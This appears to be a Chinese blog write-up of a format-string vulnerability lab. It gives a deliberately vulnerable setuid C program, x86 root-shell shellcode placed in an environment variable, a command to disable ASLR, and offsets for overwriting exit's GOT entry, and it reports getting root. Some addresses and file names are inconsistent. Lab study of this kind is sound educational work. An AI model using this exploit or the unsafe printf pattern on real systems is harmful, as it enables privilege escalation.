Format-String Vulnerability Lab 格式化字符串漏洞 (shellcode写进环境变量)

//  vul.c
/* 
 * 如果获得环境变量的程序和攻击的程序的文件名长度不一样,环境变量的地址
 * 会发生偏移。因此,要么令两个程序的文件名长度相等(推荐),要么考虑偏
 * 移来计算环境变量地址。
 * gcc -z execstack -o got got.c
*/
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[1024];
strncpy(buf, argv[1], sizeof(buf) - 1);
printf(buf);
puts("done");
exit(0);
}
利用 root 把上面这段代码编译并且 suid,然后普通用户执行它,要求就是成
功获得 root shell。
  • 观察以上代码,我们的思路是将shellcode写进环境变量,然后获取环境变量的地址,再将这个地址覆盖exit函数的地址,这样,在程序执行到exit(0)的时候,就会执行我们的shellcode。
  • 下面给出的get.c用于获取环境变量地址:
//get.c
//export EGG=$(python -c "print '\x90'*1000 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'")
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
printf("Egg address: %p ",getenv("EGG"));
}

  1. 首先,关闭地址随机化:sudo sysctl -w kernel.randomize_va_space=0

在这里插入图片描述
2.编译get.c,利用 root 把vul.c编译并且 suid,还要使栈可执行

在这里插入图片描述
在这里插入图片描述
3.定义一个环境变量 EGG 存放 shellcode,再执行get获取它的地址。

export EGG=$(python -c "print '\x90'*1000 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'")

在这里插入图片描述
在这里插入图片描述
得到EGG地址为:0xbfff29e

4.查找exit的地址:objdump -R vul
在这里插入图片描述
可以看到exit的地址为0x0804a00c

5.查询 AAAA 在内存中位置:
在这里插入图片描述
AAAA在第11个位置。
6.实施攻击,实施攻击的关键是计算把 shellcode 的地址 0xbffff29e 写到析
构函数的返回地址(即 0x 0804a00c)所指向的内存字中所需要的偏移量。
计算偏移量:

  • 49143=bfff-8;
  • 12959=f29e-bfff;
    在这里插入图片描述
    在这里插入图片描述
    攻击成功…成功获得root权限~

猜你喜欢

转载自blog.csdn.net/weixin_42189863/article/details/86527183